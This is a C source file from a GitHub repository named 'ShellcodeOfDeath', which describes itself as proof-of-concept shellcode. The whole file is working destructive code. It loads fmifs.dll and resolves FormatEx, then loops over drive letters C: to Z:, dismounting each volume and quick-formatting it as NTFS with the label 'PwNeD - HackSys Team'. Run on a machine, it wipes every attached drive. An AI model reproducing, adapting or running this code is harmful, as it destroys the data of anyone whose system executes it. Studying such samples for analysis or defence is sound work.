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ShellcodeOfDeath/ShellcodeOfDeath.c at master · hacksysteam/ShellcodeOfDeath · GitHub
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#include
<windows.h>
#include
<WinIoCtl.h>
#define
_UNICODE
1
/*
_ __ _____
/\ /\__ _ ___| | __/ _\_ _ ___ /__ \___ __ _ _ __ ___
/ /_/ / _` |/ __| |/ /\ \| | | / __| / /\/ _ \/ _` | '_ ` _ \
/ __ / (_| | (__| < _\ \ |_| \__ \ / / | __/ (_| | | | | | |
\/ /_/ \__,_|\___|_|\_\\__/\__, |___/ \/ \___|\__,_|_| |_| |_|
|___/
http://hacksys.vfreaks.com/
hacksysteam@hotmail.com
Author:
Ashfaq Ansari
hacksysteam@hotmail.com
Thanks:
Mark Russinovich (Systems Internals - http://www.sysinternals.com)
Module Name:
Shellcode Of Death
Abstract:
This is a proof of concept shellcode in C format.
IDE:
Dev-C++ 4.9.9.2 (Windows XP SP3)
Compiler:
gcc 3.4.2
*/
typedef
enum
{
PROGRESS
,
DONEWITHSTRUCTURE
,
UNKNOWN2
,
UNKNOWN3
,
UNKNOWN4
,
UNKNOWN5
,
INSUFFICIENTRIGHTS
,
UNKNOWN7
,
VOLUME_IN_USE
,
CANT_QUICK_FORMAT
,
UNKNOWNA
,
DONE
,
UNKNOWNC
,
UNKNOWND
,
OUTPUT
,
STRUCTUREPROGRESS
}
CALLBACKCOMMAND
;
typedef
BOOLEAN
(__stdcall
*
PFMIFSCALLBACK
)(
CALLBACKCOMMAND
Command
,
DWORD
SubAction
,
PVOID
ActionInfo
);
typedef
VOID
(__stdcall
*
PFORMATEX
)(
PWCHAR
DriveRoot
,
DWORD
MediaFlag
,
PWCHAR
Format
,
PWCHAR
Label
,
BOOL
QuickFormat
,
DWORD
ClusterSize
,
PFMIFSCALLBACK
Callback
);
PFORMATEX
FormatEx
;
BOOLEAN
__stdcall
FormatExCallback
(
CALLBACKCOMMAND
Command
,
DWORD
Modifier
,
PVOID
Argument
)
{
return
TRUE;
}
int
main
( )
{
int
i
;
int
res
;
char
szVolumeAccessPath
[]
=
"\\\\.\\X:"
;
DWORD
dwRet
;
HANDLE
hVolRead
;
PWCHAR
DriveList
[]
=
{
L"C:"
,
L"D:"
,
L"E:"
,
L"F:"
,
L"G:"
,
L"H:"
,
L"I:"
,
L"J:"
,
L"K:"
,
L"L:"
,
L"M:"
,
L"N:"
,
L"O:"
,
L"P:"
,
L"Q:"
,
L"R:"
,
L"S:"
,
L"T:"
,
L"U:"
,
L"V:"
,
L"W:"
,
L"X:"
,
L"Y:"
,
L"Z:"
};
WCHAR
RootDirectory
[
MAX_PATH
];
LoadLibrary
(
"fmifs.dll"
);
FormatEx
=
(
void
*
)
GetProcAddress
(
GetModuleHandle
(
"fmifs.dll"
),
"FormatEx"
);
for
(
i
=
0
;
i
<=
23
;
i
++
){
wcscpy
(
RootDirectory
,
DriveList
[
i
] );
RootDirectory
[
2
]
=
L'\\'
;
RootDirectory
[
3
]
=
(
WCHAR
)
0
;
szVolumeAccessPath
[
4
]
=
RootDirectory
[
0
];
//Get the handle to the drive
hVolRead
=
CreateFile
(
szVolumeAccessPath
,
GENERIC_READ
|
GENERIC_WRITE
,
FILE_SHARE_READ
|
FILE_SHARE_WRITE
,
NULL
,
OPEN_EXISTING
,
0
,
NULL
);
// dismount the file system
// no need to lock the volume
// once dismounted all the handles will be invalid
res
=
DeviceIoControl
(
hVolRead
,
FSCTL_DISMOUNT_VOLUME
,
NULL
,
0
,
NULL
,
0
,
&
dwRet
,
NULL
);
// Close the handle
CloseHandle
(
hVolRead
);
//Format the drive
//Proceed to next drive if error occurs
FormatEx
(
RootDirectory
,
0xC
,
L"NTFS"
,
L"PwNeD - HackSys Team"
,
TRUE,
4096
,
FormatExCallback
);
Sleep
(
200
);
}
return
0
;
}
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